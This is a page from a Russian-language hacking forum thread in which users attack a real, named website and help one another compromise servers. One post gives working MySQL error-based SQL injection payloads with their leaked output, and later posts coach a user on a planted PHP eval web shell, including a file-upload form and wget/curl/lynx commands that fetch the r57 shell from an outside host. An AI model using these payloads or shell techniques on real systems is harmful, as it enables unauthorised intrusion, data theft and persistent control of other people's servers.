HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1068 из 2422 « Первая < 6856896810181058 1064 1065 1066 1067 1068 1069 1070 1071 1072 10781118116815682068 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.12.2009, 20:06
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
С нами: 10339586

Репутация: 1396


По умолчанию
Цитата:
http://www.jetset.com.ua/rus/magazine/search/
в поле "Что искать" вводим ' и эррор. Это просто эррор или скуля? нет возможности проверить точно, поэтому прошу глянуть.
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 20.12.2009, 20:28
Ded MustD!e
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
С нами: 9851426

Репутация: 3908
По умолчанию
Цитата:
Сообщение от $n@ke  
в поле "Что искать" вводим ' и эррор. Это просто эррор или скуля? нет возможности проверить точно, поэтому прошу глянуть.
Да, скуля, в строку поиска вводим:

Код:
%'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1
Получаем:

MySQL Error: 1060 (Duplicate column name '5.0.51a')
__________________
Feci, quod potui. Faciant meliora potentes.
 
Ответить с цитированием

  #3  
Старый 20.12.2009, 20:32
RulleR
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
С нами: 9428066

Репутация: 1668
По умолчанию
2 $n@ke
Код:
xek%')/**/union/**/select/**/*/**/from/**/(select/**/*/**/from/**/(select/**/name_const((select/**/table_name/**/from/**/information_schema.tables/**/limit/**/0,1),1),name_const((select/**/table_name/**/from/**/information_schema.tables/**/limit/**/0,1),1))a)b#
Duplicate column name 'CHARACTER_SETS'
 
Ответить с цитированием

  #4  
Старый 20.12.2009, 23:37
DeluxeS
Участник форума
Регистрация: 01.08.2009
Сообщений: 183
С нами: 8829763

Репутация: 131
По умолчанию
Залили шелл c eval($_GET['b']); Что дальше ?
 
Ответить с цитированием

  #5  
Старый 20.12.2009, 23:40
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами: 9976706

Репутация: 1934


По умолчанию
Цитата:
Сообщение от DeluxeS  
Залили шелл c eval($_GET['b']); Что дальше ?
видно из веба? залил в файл с каким расширением? добавил "<?php ?>" к коду?
__________________
Появляюсь редко. Важные дела в реале.
 
Ответить с цитированием

  #6  
Старый 20.12.2009, 23:42
DeluxeS
Участник форума
Регистрация: 01.08.2009
Сообщений: 183
С нами: 8829763

Репутация: 131
По умолчанию
Цитата:
Сообщение от AFoST  
видно из веба? залил в файл с каким расширением? добавил "<?php ?>" к коду?
из веба видно
.php
добавил. не знаю как залить полноценный шелл
 
Ответить с цитированием

  #7  
Старый 20.12.2009, 23:56
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию
Цитата:
Сообщение от DeluxeS  
Залили шелл c eval($_GET['b']); Что дальше ?
Цитата:
Сообщение от AFoST  
теперь обратись к скрипту site/file.php?b=ls
AFoST не торопись
DeluxeS почитай что-нибудь, зачем тебе шелл. если ты не знаешь что делать?
 
Ответить с цитированием

  #8  
Старый 21.12.2009, 00:03
DeluxeS
Участник форума
Регистрация: 01.08.2009
Сообщений: 183
С нами: 8829763

Репутация: 131
По умолчанию
Цитата:
Сообщение от jokester  
AFoST не торопись
DeluxeS почитай что-нибудь, зачем тебе шелл. если ты не знаешь что делать?
Заменил eval на system, всё ок
 
Ответить с цитированием

  #9  
Старый 21.12.2009, 00:03
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами: 9976706

Репутация: 1934


По умолчанию
Цитата:
Сообщение от jokester  
AFoST не торопись
DeluxeS почитай что-нибудь, зачем тебе шелл. если ты не знаешь что делать?
как обычно, суета =\
ты прав, поправляюсь)
site/file.php?b=phpinfo();
должно вылезти сопсно оно)
а залить так
создаешь форму
<form action="site/file.php?b=copy($_FILES[file][tmp_name], $_GET[aa]);&aa=/path/file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file"><br>
<input type="submit" value="Загрузить"><br>
</form>
открываешь выбираешь файл и жмёшь отправить
__________________
Появляюсь редко. Важные дела в реале.
Последний раз редактировалось AFoST; 21.12.2009 в 00:09..
 
Ответить с цитированием

  #10  
Старый 20.12.2009, 23:45
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами: 9976706

Репутация: 1934


По умолчанию
теперь обратись к скрипту site/file.php?b=ls
если выведет список директорий. то воспользуйся одним из следующих способов скачивания файла с помощью командной строки.

Цитата:
lynx -source "http://www.evilc0der.com/r57.txt" > ./r57.php
links -source "http://www.evilc0der.com/r57.txt" > ./r57.php
wget -O ./r57.php http://www.evilc0der.com/r57.txt
GET http://www.evilc0der.com/r57.txt > ./r57.php
fetch -o ./r57.php http://www.evilc0der.com/r57.txt
curl --output perl http://www.evilc0der.com/r57.txt
__________________
Появляюсь редко. Важные дела в реале.
 
Ответить с цитированием
Ответ
Страница 1068 из 2422 « Первая < 6856896810181058 1064 1065 1066 1067 1068 1069 1070 1071 1072 10781118116815682068 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.